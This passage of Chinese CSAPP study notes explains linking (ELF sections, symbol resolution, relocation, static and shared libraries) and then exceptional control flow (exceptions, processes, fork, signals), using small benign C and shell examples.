在具体来看这两步做了啥之前，先要理解下面几个概念。

三种对象文件

所谓的对象文件(Object File)实际上是一个统称，具体来说有以下三种形式：


	可重定位目标文件 Relocatable object file (.o file)
	每个 .o 文件都是由对应的 .c 文件通过编译器和汇编器生成，包含代码和数据，可以与其他可重定位目标文件合并创建一个可执行或共享的目标文件





	可执行目标文件 Executable object file (a.out file)
	由链接器生成，可以直接通过加载器加载到内存中充当进程执行的文件，包含代码和数据





	共享目标文件 Shared object file (.so file)
	在 windows 中被称为 Dynamic Link Libraries(DLLs)，是类特殊的可重定位目标文件，可以在链接(静态共享库)时加入目标文件或加载时或运行时(动态共享库)被动态的加载到内存并执行







对象文件格式

上面提到的三种对象文件有统一的格式，即 Executable and Linkable Format(ELF)，因为，我们把它们统称为 ELF binaries，具体的文件格式如下
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下面分别介绍一下各个部分：


	ELF header
	包含 word size, byte ordering, file type (.o, exec, .so), machine type, etc





	Segment header table
	包含 page size, virtual addresses memory segments(sections), segment sizes





	.text section
	代码部分





	.rodata section
	只读数据部分，例如跳转表





	.data section
	初始化的全局变量





	.bss section
	未初始化的全局变量





	.symtab section
	包含 symbol table, procudure 和 static variable names 以及 section names 和 location





	.rel.txt section
	.text section 的重定位信息





	.rel.data section
	.data section 的重定位信息





	.debug section
	包含 symbolic debugging (gcc -g) 的信息 





	Section header table
	每个 section 的大小和偏移量







链接器实际上会处理三种不同的符号，对应于代码中不同写法的部分：


	全局符号 Global symbols
	在当前模块中定义，且可以被其他代码引用的符号，例如非静态 C 函数和非静态全局变量





	外部符号 External symbols
	同样是全局符号，但是是在其他模块（也就是其他的源代码）中定义的，但是可以在当前模块中引用





	本地符号 Local symbols
	在当前模块中定义，只能被当前模块引用的符号，例如静态函数和静态全局变量

	注意，Local linker symbol 并不是 local program variables







链接过程

链接器主要是将有关的目标文件彼此相连接生成可加载、可执行的目标文件。链接器的核心工作就是符号表解析和重定位。

第一步 符号解析 Symbol resolution

还是用刚才的代码为例子，我们从链接器的视角来看看

// 文件 main.c
int sum(int *a, int n);

int array[2] = {1, 2}; // 变量 array 在此定义

int main() // 定义了一个全局函数
{
    int val = sum(array, 2);
    // val 是局部变量，链接器并不知道
    // sum 函数是一个全局引用
    // array 变量是一个全局引用
    return val;
}

// -----------------------------------------
// 文件 sum.c
int sum(int *a, int n) // 定义了一个全局函数
{
    int i, s = 0;
    // i 和 s 是局部变量，链接器并不知道
    for (i = 0; i < n; i++)
        s += a[i];
    
    return s;
}


我们可以看到，链接器只知道非静态的全局变量/函数，而对于局部变量一无所知。然后我们来看看局部非静态变量和局部静态变量的区别：


	局部非静态变量会保存在栈中

	局部静态变量会保存在 .bss 或 .data 中



那如果两个函数中定义了同名的静态变量会怎么样呢？首先，编译器会在 .data 部分为每一个静态变量进行定义，如果遇到同名，就会在本地的符号表中自动给出唯一的编号，比如下面例子中的变量 x，可能在符号表中是 x.1 和 x.2

int f()
{
    static int x = 0;
    return x;
}

int g()
{
    static int x = 1;
    return x;
}


那如果两个文件中定义了同名的全局变量呢？要想弄清楚会发生什么，就先要知道，不同的符号是有强弱之分的：


	强符号：函数和初始化的全局变量

	弱符号：未初始化的全局变量



我们可以来看看下面的例子

// 文件 p1.c
int foo = 5; // 强符号，已初始化
p1() { ... } // 强符号，函数

// -----------------------------------------
// 文件 p2.c
int foo;     // 弱符号，未初始化
p2() { ... } // 强符号，函数


链接器在处理强弱符号的时候遵守以下规则：


	不能出现多个同名的强符号，不然就会出现链接错误

	如果有同名的强符号和弱符号，选择强符号，也就意味着弱符号是『无效』d而

	如果有多个弱符号，随便选择一个



我们可以看看下面几个例子：

// 文件 p1.c
int x; 
p1() { ... } 

// -----------------------------------------
// 文件 p2.c
p1() { ... }


可以看到上面代码中声明了两个同名的函数，都是强符号，所以会出现链接错误。

// 文件 p1.c
int x; 
p1() { ... } 

// -----------------------------------------
// 文件 p2.c
int x;
p2() { ... }


上面的两个 x 实际上在执行时会引用同一个未初始化的整型，并不是两个独立的变量。

// 文件 p1.c
int x; 
int y;
p1() { ... } 

// -----------------------------------------
// 文件 p2.c
double x;
p2() { ... }


上面这个例子很有趣，这里 p1 和 p2 中定义的变量都是弱符号，我们对 p2 中的 x 进行写入时，居然可能会影响到 p1 中的 y！想想为什么？其实原因很简单，以为 x 实际上引用的是同一个地址，而 double 的字节数是 int 的两倍，所以 y 就『躺枪』了。

// 文件 p1.c
int x = 7; 
int y = 4;
p1() { ... } 

// -----------------------------------------
// 文件 p2.c
double x;
p2() { ... }


这个例子是强弱符号间的引用了，p1 中的变量因为初始化的缘故，是强符号，所以在 p2 中引用 x 时，实际上操作的是 p1 中定义的全局变量的值，而因为 p2 中 x 是 double 类型，所以一旦进行改动，实际上就 p1 中 x 和 y 都会受到影响。

从这些例子中，我们已经能够看出链接中可能会出现的问题，更可怕的是两个同名的弱结构体引用，不同的编译器可能有不同的对齐方式，真正编译运行的时候，就会出现非常奇怪的行为，这种 bug 一旦出现，几乎是很难在短时间内发现并解决的。

因此我们可以得到一条很重要的编程建议：

如果可能，尽量避免使用全局变量

如果一定要用的话，注意下面几点：


	使用静态变量

	定义全局变量的时候初始化

	注意使用 extern 关键字



第二步 重定位 Relocation

重定位的过程比较简单，大概的过程，通过下图就可以看得比较清楚，就是把不同可重定位对象文件拼成可执行对象文件：
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我们从汇编代码的角度来看看具体链接器是如何工作的，还是之前的代码：

int sum(int *a, int n);
int array[2] = {1, 2};

int main()
{
    int val = sum(array, 2);
    return val;
}


我们通过 objdump -r -d main.o 反编译对应的可重定位对象文件，可以得到如下的汇编代码：

0000000000000000 <main>:
    0: 48 83 ec 08      sub   $0x8, %rsp
    4: be 02 00 00 00   mov   $0x2, %esi 
    9: bf 00 00 00 00   mov   $0x0, %edi  # %edi = &array
                a: R_X86_64_32 array      # Relocation entry
    e: e8 00 00 00 00   callq 13 <main+0x13> # sum()
                f: R_X86_64_PC32 sum-0x4  # Relocation entry
   13: 48 83 c4 08      add   $0x8, %rsp
   17: c3               retq


这里我们可以看到，编译器用 relocation entry 来标记不同的调用（注意看对应的代码后面四组数字都是零，就是留出位置让链接器在链接的时候填上对应的实际内存地址）

在完成链接之后我们得到 prog 这个程序，同样反编译 objdump -dx prog 可以看到：

00000000004004d0 <main>:
    4004d0: 48 83 ec 08      sub   $0x8, %rsp
    4004d4: be 02 00 00 00   mov   $0x2, %esi 
    4004d9: bf 18 10 60 00   mov   $0x0, %edi  # %edi = &array
    4004de: e8 05 00 00 00   callq 4004e8 <sum> # sum()
    4004e3: 48 83 c4 08      add   $0x8, %rsp
    4004e7: c3               retq 

00000000004004e8 <sum>:
    4004e8: b8 00 00 00 00   mov   $0x0, %eax
    ...
    ...
    400501: f3 c3            repz retq


对应的地址已经被填上去了，这里注意用的是相对的位置，比方说 0x4004de 中的 05 00 00 00 的意思实际上是说要在下一句的基础上加上 0x5，也就是 0x4004e8，即 sum 函数的开始位置。

具体载入内存的时候，大概是这样的
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需要注意左边的部分地址从上往下（上面地址较小），右边则是从下往上（下面地址较小），这也是为什么黄色和蓝色的顺序在两边是不一样的。

打包常用程序

基本上每个程序都会用到某些特定的函数，比如：数学计算, 输入输出, 内存管理, 字符串操作等等，我们能用什么方法把它们结合到程序中呢，有以下两个思路：


	思路 1：把所有的函数放到一个源文件中，程序员每次把这一整个大块头链接到自己的程序中，这种做法从时间和空间上来说都比较低效

	思路 2：不同的函数放到不同的源文件中，由程序员显式链接所需要的函数，这种做法效率更高，但是相当于是给程序员增加负担了



静态库 Static Library

比较老式的做法就是所谓的静态库(Static Libraries, .a 表示 archive files)

静态库是一个外部函数与变量的集合体。静态库的文件内容，通常包含一堆程序员自定的变量与函数，其内容不像动态链接库那么复杂，在编译期间由编译器与连接器将它集成至应用程序内，并制作成目标文件以及可以独立运作的可执行文件。而这个可执行文件与编译可执行文件的程序，都是一种程序的静态创建（static build）

具体过程就是把不同文件的 .o 文件通过 Archiver 打包成为一个 .a 文件。Archiver 支持增量更新，如果有函数变动，只需要重新编译改动的部分。

在 C 语言中最常用的是 C 标准库与 C 数学库。C 标准库一般可以通过 libc.a 来进行引用，大小 4.6 MB，包含 1496 个对象文件，主要负责输入输出、内存分配、信号处理、字符串处理、操作数据和实践、生成随机数及整型的数学运算。C 数学库可以通过 libm.a 来引用，大小 2 MB，包含 444 个对象文件，主要是提供浮点数运算的支持（比如三角函数、幂次等等）

我们来看一个具体的例子，自己编写一个向量运算库 libvector.a，其中包含两个函数 addvec 和 multvec，代码为：

// 文件 main.c
#include <stdio.h>
#include "vector.h"

int x[2] = {1, 2};
int y[2] = {3, 4};
int z[2];

int main()
{
    addvec(x, y, z, 2);
    printf("z = [%d %d]\n", z[0], z[1]);
    return 0;
}

// -----------------------------------------
// 文件 addvec.c
void addvec(int *x, int *y, int *z, int n)
{
    int i;
    for (i = 0; i < n; i++)
        z[i] = x[i] + y[i];
}

// -----------------------------------------
// 文件 multvec.c
void multvec(int *x, int *y, int *z, int n)
{
    int i;
    for (i = 0; i < n; i++)
        z[i] = x[i] * y[i];
}


具体过程可见下图：
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链接器是如何解析外部引用的呢？详细的步骤为：


	扫描当前命令中的 .o 和 .a 文件

	扫描过程中，维护一个当前未解析引用的列表

	扫描到新的 .o 或 .a 文件时，试图去寻找未解析引用

	如果扫描结束时仍旧有为解析的引用，则报错



因为是按顺序查找，所以实际上是有引用依赖问题的，也就是说写编译命令的时候，顺序是很重要的！我们看下面这个例子，这里 libtest.o 中引用了 lmine 库中的 libfun 函数，仔细比较两个的顺序：

unix> gcc -L. libtest.o -lmine
# 上面这句不会出错，但是下面的会
unix> gcc -L. -lmine libtest.o
libtest.o: In function `main`:
libtest.o(.text+0x4): Undefined reference to `libfun`


第一条命令中，在编译链接的时候，如果在 libtest.o 中发现了外部引用，就会在 -lmine 中查找，但是如果反过来，在第二条语句中 libtest.o 后面没有东西，就会出现找不到引用的错误。从中我们可以得到一个写编译命令的技巧：

把静态库都放到后面去

共享库 Shared Library

静态库很方便，但是如果我们只是想用库中的某一个函数，却仍然得把所有的内容都链接进去。一个更现代的方法则是使用共享库，避免了在文件中静态库的大量重复。

动态链接可以在首次载入的时候执行(load-time linking)，这是 Linux 的标准做法，会由动态链接器 ld-linux.so 完成，比方标准 C 库(libc.so) 通常就是动态链接的，这样所有的程序可以共享同一个库，而不用分别进行封装。

还是用刚才的例子，如果我们使用动态链接，过程如下：
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动态链接也可以在程序开始执行的时候完成(run-time linking)，在 Linux 中使用 dlopen() 接口来完成（会使用函数指针），通常用于分布式软件，高性能服务器上。而且共享库也可以在多个进程间共享，这在后面学习到虚拟内存的时候会介绍。

链接使得我们可以用多个对象文件构造我们的程序。可以在程序的不同阶段进行（编译、载入、运行期间均可），理解链接可以帮助我们避免遇到奇怪的错误。

案例学习 Library Interpositioning

这是一个非常有意思的技术，我们可以通过这个技术让程序运行任意我们想要的代码，比方说我们的程序中使用了 malloc，我们可以通过 library interpositioning 让程序执行我们自定义的 malloc 而不是标准库中的 malloc。

因为这相当于是某种链接技术，所以同样可以在不同的时候发生，如：


	编译时

	链接时

	载入/运行时



这个技术可以应用在


	安全方面
	沙盒机制

	加密





	调试方面
	可以找到隐藏比较深的 bug





	监控和查看性能
	统计函数调用的次数

	检测内存泄露

	生成地址记录







具体的例子可以参考Tutorial: Function Interposition in Linux，这里不再赘述。

总结

这一讲中，我们从编译阶段入手，通过具体的例子了解了链接过程中的相关知识和技术。链接主要包括符号解析和重定向两个步骤，在链接的基础上，可以采用静态库或者动态链接的方式引用外部的代码。最后我们简单介绍了基于链接的 Library Interpositioning 技术。

这一讲可以看做是前半部分的收尾，之后我们从代码级进入到系统级，具体看看操作系统是如何完成各项复杂工作的。

参考资料


	C编译器、链接器、加载器详解

	静态库





            
            
              
                【不周山之读薄 CSAPP】伍 异常控制流
              
            
          


      
      

      
        异常控制流可能是很多人知道却说不清楚具体发生了什么的『著名』概念，什么是异常？系统又是怎么处理这个看起来『不一样』的机制的呢？信号在这里扮演了什么角色？这一讲我们就来讲讲异常与信号到底是怎么回事儿。




系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



学习目标


	了解异步异常与同步异常，以及异常控制流与平时的逻辑控制流的差异

	理解进程的工作机制，如何通过异常来进行进程切换

	理解 Linux 的进程控制机制，掌握 fork 的基本用法

	了解信号的基本原理以及如何处理信号

	掌握如何避免进程竞争的方法

	了解非本地跳转的概念和意义



前面提到过，进程可能是计算机系统中最伟大的抽象。进程这个概念背后，其实隐藏着一整套系统级机制，从进程切换、用户态与内核态的转换到系统实时响应各种事件，都离不开一个相当熟悉又陌生的概念——异常。在这个基础上，我们会一起来看看，操作系统到底是如何工作的，为什么可以同时执行不同的程序，具体又是通过什么机制来管理这一切的呢？这一讲我们就来看看这之中的奥秘。

异常控制流

从开机到关机，处理器做的工作其实很简单，就是不断读取并执行指令，每次执行一条，整个指令执行的序列，称为处理器的控制流。到目前为止，我们已经学过了两种改变控制流的方式：


	跳转和分支

	调用和返回



这两个操作对应于程序的改变。但是这实际上仅仅局限于程序本身的控制，没有办法去应对更加复杂的情况。系统状态发生变化的时候，无论是跳转/分支还是调用/返回都是无能为力的，比如：


	数据从磁盘或者网络适配器到达

	指令除以了零

	用户按下 ctrl+c

	系统的计时器到时间



这时候就要轮到另一种更加复杂的机制登场了，称之为异常控制流(exceptional control flow)。首先需要注意的是，虽然名称里包含异常（实际上也用到了异常），但是跟代码中 try catch 所涉及的异常是不一样的。

异常控制流存在于系统的每个层级，最底层的机制称为异常(Exception)，用以改变控制流以响应系统事件，通常是由硬件的操作系统共同实现的。更高层次的异常控制流包括进程切换(Process Context Switch)、信号(Signal)和非本地跳转(Nonlocal Jumps)，也可以看做是一个从硬件过渡到操作系统，再从操作系统过渡到语言库的过程。进程切换是由硬件计时器和操作系统共同实现的，而信号则只是操作系统层面的概念了，到了非本地跳转就已经是在 C 运行时库中实现的了。

接下来我们就分别来看看这四个跨域计算机不同层级的异常控制流机制。

异常 Exception

这里的异常指的是把控制交给系统内核来响应某些事件（例如处理器状态的变化），其中内核是操作系统常驻内存的一部分，而这类事件包括除以零、数学运算溢出、页错误、I/O 请求完成或用户按下了 ctrl+c 等等系统级别的事件。

具体的过程可以用下图表示：
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系统会通过异常表(Exception Table)来确定跳转的位置，每种事件都有对应的唯一的异常编号，发生对应异常时就会调用对应的异常处理代码

异步异常（中断）

异步异常(Asynchronous Exception)称之为中断(Interrupt)，是由处理器外面发生的事情引起的。对于执行程序来说，这种“中断”的发生完全是异步的，因为不知道什么时候会发生。CPU对其的响应也完全是被动的，但是可以屏蔽掉[1]。这种情况下：


	需要设置处理器的中断指针(interrupt pin)

	处理完成后会返回之前控制流中的『下一条』指令



比较常见的中断有两种：计时器中断和 I/O 中断。计时器中断是由计时器芯片每隔几毫秒触发的，内核用计时器终端来从用户程序手上拿回控制权。I/O 中断类型比较多样，比方说键盘输入了 ctrl-c，网络中一个包接收完毕，都会触发这样的中断。

同步异常

同步异常(Synchronous Exception)是因为执行某条指令所导致的事件，分为陷阱(Trap)、故障(Fault)和终止(Abort)三种情况。




	类型
	原因
	行为
	示例





	陷阱
	有意的异常
	返回到下一条指令
	系统调用，断点



	故障
	潜在可恢复的错误
	返回到当前指令
	页故障(page faults)



	终止
	不可恢复的错误
	终止当前程序
	非法指令





这里需要注意三种不同类型的处理方式，比方说陷阱和中断一样，会返回执行『下一条』指令；而故障会重新执行之前触发事件的指令；终止则是直接退出当前的程序。

系统调用示例

系统调用看起来像是函数调用，但其实是走异常控制流的，在 x86-64 系统中，每个系统调用都有一个唯一的 ID，如




	编号
	名称
	描述





	0
	read
	读取文件



	1
	write
	写入文件



	2
	open
	打开文件



	3
	close
	关闭文件



	4
	stat
	获取文件信息



	57
	fork
	创建进程



	59
	execve
	执行一个程序



	60
	_exit
	关闭进程



	62
	kill
	向进程发送信号





举个例子，假设用户调用了 open(filename, options)，系统实际上会执行 __open 函数，也就是进行系统调用 syscall，如果返回值是负数，则是出错，汇编代码如下：

00000000000e5d70 <__open>:
    ...
    e5d79: b8 02 00 00 00     mov $0x2, %eax    # open 是编号 2 的系统调用
    e5d7e: 0f 05              syscall           # 调用的返回值会在 %rax 中
    e5d80: 48 3d 01 f0 ff ff  cmp $0xfffffffffffff001, %rax
    ...
    e5dfa: c3                 retq


对应的示意图是：

[image: ]

故障示例

这里我们以 Page Fault 为例，来说明 Fault 的机制。Page Fault 发生的条件是：


	用户写入内存位置

	但该位置目前还不在内存中



比如：

int a[1000];
main()
{
    a[500] = 13;
}


那么系统会通过 Page Fault 把对应的部分载入到内存中，然后重新执行赋值语句：

[image: ]

但是如果代码改为这样：

int a[1000];
main()
{
    a[5000] = 13;
}


也就是引用非法地址的时候，整个流程就会变成：
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具体来说会像用户进程发送 SIGSEGV 信号，用户进程会以 segmentation fault 的标记退出。

从上面我们就可以看到异常的具体实现是依靠在用户代码和内核代码间切换而实现的，是非常底层的机制。

进程

进程是计算机科学中最为重要的思想之一，进程才是程序（指令和数据）的真正运行实例。之所以重要，是因为进程给每个应用提供了两个非常关键的抽象：一是逻辑控制流，二是私有地址空间。逻辑控制流通过称为上下文切换(context switching)的内核机制让每个程序都感觉自己在独占处理器。私有地址空间则是通过称为虚拟内存(virtual memory)的机制让每个程序都感觉自己在独占内存。这样的抽象使得具体的进程不需要操心处理器和内存的相关适宜，也保证了在不同情况下运行同样的程序能得到相同的结果。

计算机会同时运行多个进程，有前台应用，也后台任务，我们在 Mac 的终端下输入 top（或者更酷炫的 htop），就可以看到如下的进程信息
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进程切换 Process Context Switch

这么多进程，具体是如何工作的呢？我们来看看下面的示意图：

[image: ]

左边是单进程的模型，内存中保存着进程所需的各种信息，因为该进程独占 CPU，所以并不需要保存寄存器值。而在右边的单核多进程模型中，虚线部分可以认为是当前正在执行的进程，因为我们可能会切换到其他进程，所以内存中需要另一块区域来保存当前的寄存器值，以便下次执行的时候进行恢复（也就是所谓的上下文切换）。整个过程中，CPU 交替执行不同的进程，虚拟内存系统会负责管理地址空间，而没有执行的进程的寄存器值会被保存在内存中。切换到另一个进程的时候，会载入已保存的对应于将要执行的进程的寄存器值。

而现代处理器一般有多个核心，所以可以真正同时执行多个进程。这些进程会共享主存以及一部分缓存，具体的调度是由内核控制的，示意图如下：
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切换进程时，内核会负责具体的调度，如下图所示

[image: ]

进程控制 Process Control

系统调用的错误处理

在遇到错误的时候，Linux 系统级函数通常会返回 -1 并且设置 errno 这个全局变量来表示错误的原因。使用的时候记住两个规则：


	对于每个系统调用都应该检查返回值

	当然有一些系统调用的返回值为 void，在这里就不适用



例如，对于 fork() 函数，我们应该这么写：

if ((pid = fork()) < 0) {
    fprintf(stderr, "fork error: %s\n", strerror(errno));
    exit(0);
}


如果觉得这样写太麻烦，可以利用一个辅助函数：

void unix_error(char *msg) /* Unix-style error */
{
    fprintf(stderr, "%s: %s\n", msg, strerror(errno));
    exit(0);
}

// 上面的片段可以写为
if ((pid = fork()) < 0)
    unix_error("fork error");


我们甚至可以更进一步，把整个 fork() 包装起来，就可以自带错误处理，比如

pid_t Fork(void)
{
    pid_t pid;
    if ((pid = fork()) < 0)
        unix_error("Fork error");
    return pid;
}


调用的时候直接使用 pid = Fork(); 即可（注意这里是大写的 F）

获取进程信息

我们可以用下面两个函数获取进程的相关信息：


	pid_t getpid(void) - 返回当前进程的 PID

	pid_t getppid(void) - 返回当前进程的父进程的 PID



我们可以认为，进程有三个主要状态：


	运行 Running
	正在被执行、正在等待执行或者最终将会被执行





	停止 Stopped
	执行被挂起，在进一步通知前不会计划执行





	终止 Terminated
	进程被永久停止







另外的两个状态称为新建(new)和就绪(ready)，这里不再赘述。

终止进程

在下面三种情况时，进程会被终止：


	接收到一个终止信号

	返回到 main 

	调用了 exit 函数



exit 函数会被调用一次，但从不返回，具体的函数原型是 

// 以 status 状态终止进程，0 表示正常结束，非零则是出现了错误
void exit(int status)


创建进程

调用 fork 来创造新进程。这个函数很有趣，执行一次，但是会返回两次，具体的函数原型为

// 对于子进程，返回 0
// 对于父进程，返回子进程的 PID
int fork(void)


子进程几乎和父进程一模一样，会有相同且独立的虚拟地址空间，也会得到父进程已经打开的文件描述符(file descriptor)。比较明显的不同之处就是进程 PID 了。

看一个简单的例子

int main()
{
    pid_t pid;
    int x = 1;
    
    pid = Fork();
    if (pid == 0) 
    {   // Child
        printf("I'm the child!  x = %d\n", ++x);
        exit(0);
    }
    
    // Parent
    printf("I'm the parent! x = %d\n", --x);
    exit(0);
}


输出是

linux> ./forkdemo
I'm the parent! x = 0
I'm the child!  x = 2


有以下几点需要注意：


	调用一次，但是会有两个返回值

	并行执行，不能预计父进程和子进程的执行顺序

	拥有自己独立的地址空间（也就是变量都是独立的），除此之外其他都相同

	在父进程和子进程中 stdout 是一样的（都会发送到标准输出）



进程图

进程图是一个很好的帮助我们理解进程执行的工具：


	每个节点代表一条执行的语句

	a -> b 表示 a 在 b 前面执行

	边可以用当前变量的值来标记

	printf 节点可以用输出来进行标记

	每个图由一个入度为 0 的节点作为起始



对于进程图来说，只要满足拓扑排序，就是可能的输出。我们还是用刚才的例子来简单示意一下：

int main()
{
    pid_t pid;
    int x = 1;
    
    pid = Fork();
    if (pid == 0) 
    {   // Child
        printf("child! x = %d\n", --x);
        exit(0);
    }
    
    // Parent
    printf("parent! x = %d\n", x);
    exit(0);
}


对应的进程图为
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回收子进程

即使主进程已经终止，子进程也还在消耗系统资源，我们称之为『僵尸』。为了『打僵尸』，就可以采用『收割』(Reaping) 的方法。父进程利用 wait 或 waitpid 回收已终止的子进程，然后给系统提供相关信息，kernel 就会把 zombie child process 给删除。

如果父进程不回收子进程的话，通常来说会被 init 进程(pid == 1)回收，所以一般不必显式回收。但是在长期运行的进程中，就需要显式回收（例如 shell 和 server）。

如果想在子进程载入其他的程序，就需要使用 execve 函数，具体可以查看对应的 man page，这里不再深入。

信号 Signal

Linux 的进程树，可以通过 pstree 命令查看，如下图所示：
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对于前台进程来说，我们可以在其执行完成后进行回收，而对于后台进程来说，因为不能确定具体执行完成的时间，所以终止之后就成为了僵尸进程，无法被回收并因此造成内存泄露。

这怎么办呢？同样可以利用异常控制流，当后台进程完成时，内核会中断常规执行并通知我们，具体的通知机制就是『信号』(signal)。

信号是 Unix、类 Unix 以及其他 POSIX 兼容的操作系统中进程间通讯的一种有限制的方式。它是一种异步的通知机制，用来提醒进程一个事件已经发生。当一个信号发送给一个进程，操作系统中断了进程正常的控制流程，此时，任何非原子操作都将被中断。如果进程定义了信号的处理函数，那么它将被执行，否则就执行默认的处理函数。

这样看来，信号其实是类似于异常和中断的，是由内核（在其他进程的请求下）向当前进程发出的。信号的类型由 1-30 的整数定义，信号所能携带的信息极少，一是对应的编号，二就是信号到达这个事实。下面是几个比较常用的信号的编号及简介：




	编号
	名称
	默认动作
	对应事件





	2
	SIGINT
	终止
	用户输入 ctrl+c



	9
	SIGKILL
	终止
	终止程序（不能重写或忽略）



	11
	SIGSEGV
	终止且 Dump
	段冲突 Segmentation violation



	14
	SIGALRM
	终止
	时间信号



	17
	SIGCHLD
	忽略
	子进程停止或终止





内核通过给目标进程发送信号，来更新目标进程的状态，具体的场景为：


	内核检测到了如除以零(SIGFPE)或子进程终止(SIGCHLD)的系统事件

	另一个进程调用了 kill 指令来请求内核发送信号给指定的进程



目标进程接收到信号后，内核会强制要求进程对于信号做出响应，可以有几种不同的操作：


	忽略这个型号

	终止进程

	捕获信号，执行信号处理器(signal handler)，类似于异步中断中的异常处理器(exception handler)



具体的过程如下：
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如果信号已被发送但是未被接收，那么处于等待状态(pending)，同类型的信号至多只会有一个待处理信号(pending signal)，一定要注意这个特性，因为内部实现机制不可能提供较复杂的数据结构，所以信号的接收并不是一个队列。比如说进程有一个 SIGCHLD 信号处于等待状态，那么之后进来的 SIGCHLD 信号都会被直接扔掉。

当然，进程也可以阻塞特定信号的接收，但信号的发送并不受控制，所以被阻塞的信号仍然可以被发送，不过直到进程取消阻塞该信号之后才会被接收。内核用等待(pending)位向量和阻塞(blocked)位向量来维护每个进程的信号相关状态。

进程组

每个进程都只属于一个进程组，从前面的进程树状图中我们也能大概了解一二，想要了解相关信息，一般使用如下函数：


	getpgrp() - 返回当前进程的进程组

	setpgid() - 设置一个进程的进程组



我们可以据此指定一个进程组或者一个单独的进程，比方说可以通过 kill 应用来发送信号，流入

# 创建子进程
linux> ./forks 16
Child1: pid=24818 pgrp=24817
Child2: pid=24819 pgrp=24817
# 查看进程
linux> ps
  PID TTY      TIME  CMD
24788 pts/2 00:00:00 tcsh
24818 pts/2 00:00:02 forks
24819 pts/2 00:00:02 forks
24820 pts/2 00:00:00 ps

# 可以选择关闭某个进程
linux> /bin/kill -9 24818
# 也可以关闭某个进程组，会关闭该组中所有进程
linux> /bin/kill -9 -24817
# 查看进程
linux> ps
  PID TTY      TIME  CMD
24788 pts/2 00:00:00 tcsh
24820 pts/2 00:00:00 ps


这里可以看到，第一个命令只会杀掉编号为 24818 的进程，但是第二个命令，因为有两个进程都属于进程组 24817，所以会杀掉进程组中的每个进程。

我们也可以通过键盘让内核向每个前台进程发送 SIGINT(SIGTSTP) 信号


	SIGINT - ctrl+c 默认终止进程

	SIGTSTP - ctrl+z 默认挂起进程



下面是一个简单的例子

linux> ./forks 17
Child: pid=28108 pgrp=28107
Parent: pid=28107 pgrp=28107
# 按下 ctrl+z
Suspended # 进程被挂起
linux> ps w
  PID TTY   STAT  TIME  COMMAND
27699 pts/8 Ss    00:00 -tcsh
28107 pts/8 T     00:02 ./forks 17
28108 pts/8 T     00:02 ./forks 17
28109 pts/8 R+    00:00 ps w
linux> fg
./forks 17
# 按下 ctrl+c，进程被终止
linux> ps w
  PID TTY   STAT  TIME  COMMAND
27699 pts/8 Ss    00:00 -tcsh
28109 pts/8 R+    00:00 ps w


STAT 部分的第一个字母的意思


	S: 睡眠 sleeping

	T: 停止 stopped

	R: 运行 running



第二个字母的意思：


	s: 会话管理者 session leader

	+: 前台进程组



更多信息可以查看 man ps

如果想要发送信号，可以使用 kill 函数，下面是一个简单的示例，父进程通过发送 SIGINT 信号来终止正在无限循环的子进程。

void forkandkill()
{
    pid_t pid[N];
    int i;
    int child_status;
    
    for (i = 0; i < N; i++)
        if ((pid[i] = fork()) == 0)
            while(1) ;  // 死循环
    
    for (i = 0; i < N; i++)
    {
        printf("Killing process %d\n", pid[i]);
        kill(pid[i], SIGINT);
    }
    
    for (i = 0; i < N; i++)
    {
        pid_t wpid = wait(&child_status);
        if (WIFEXITED(child_status))
            printf("Child %d terminated with exit status %d\n",
                    wpid, WEXITSTATUS(child_status));
        else
            printf("Child %d terminated abnormally\n", wpid);
    }
}


接收信号

所有的上下文切换都是通过调用某个异常处理器(exception handler)完成的，内核会计算对易于某个进程 p 的 pnb 值：pnb = pending & ~blocked


	如果 pnb == 0，那么就把控制交给进程 p 的逻辑流中的下一条指令

	如果 pnb != 0
	选择 pnb 中最小的非零位 k，并强制进程 p 接收信号 k

	接收到信号之后，进程 p 会执行对应的动作

	对 pnb 中所有的非零位进行这个操作

	最后把控制交给进程 p 的逻辑流中的下一条指令







每个信号类型都有一个预定义的『默认动作』，可能是以下的情况：


	终止进程

	终止进程并 dump core

	停止进程，收到 SIGCONT 信号之后重启

	忽略信号



signal 函数可以修改默认的动作，函数原型为 handler_t *signal(int signum, handler_t *handler)。我们通过一个简单的例子来感受下，这里我们屏蔽了 SIGINT 函数，即使按下 ctrl+c 也不会终止

void sigint_handler(int sig) // SIGINT 处理器
{
    printf("想通过 ctrl+c 来关闭我？\n");
    sleep(2);
    fflush(stdout);
    sleep(1);
    printf("OK. :-)\n");
    exit(0);
}

int main()
{
    // 设定 SIGINT 处理器
    if (signal(SIGINT, sigint_handler) == SIG_ERR)
        unix_error("signal error");
        
    // 等待接收信号
    pause();
    return 0;
}


信号处理器的工作流程可以认为是和当前用户进程『并发』的同一个『伪』进程，示意如下：

注：并行与并发的区别

计算机虽然只有一个 CPU，但操作系统能够将程序的执行单位细化，然后分开执行，从而实现伪并行执行。这种伪并行执行称为并发(concurrent)。使用多个 CPU 真的同时执行称为并行(parallel)
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还有一个需要注意的是，信号处理器也可以被其他的信号处理器中断，控制流如下图所示：
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阻塞信号

我们知道，内核会阻塞与当前在处理的信号同类型的其他正待等待的信号，也就是说，一个 SIGINT 信号处理器是不能被另一个 SIGINT 信号中断的。

如果想要显式阻塞，就需要使用 sigprocmask 函数了，以及其他一些辅助函数：


	sigemptyset - 创建空集

	sigfillset - 把所有的信号都添加到集合中（因为信号数目不多）

	sigaddset - 添加指定信号到集合中

	sigdelset - 删除集合中的指定信号



我们可以用下面这段代码来临时阻塞特定的信号：

sigset_t mask, prev_mask;

Sigemptyset(&mask); // 创建空集
Sigaddset(&mask, SIGINT); // 把 SIGINT 信号加入屏蔽列表中

// 阻塞对应信号，并保存之前的集合作为备份
Sigprocmask(SIG_BLOCK, &mask, &prev_mask);
...
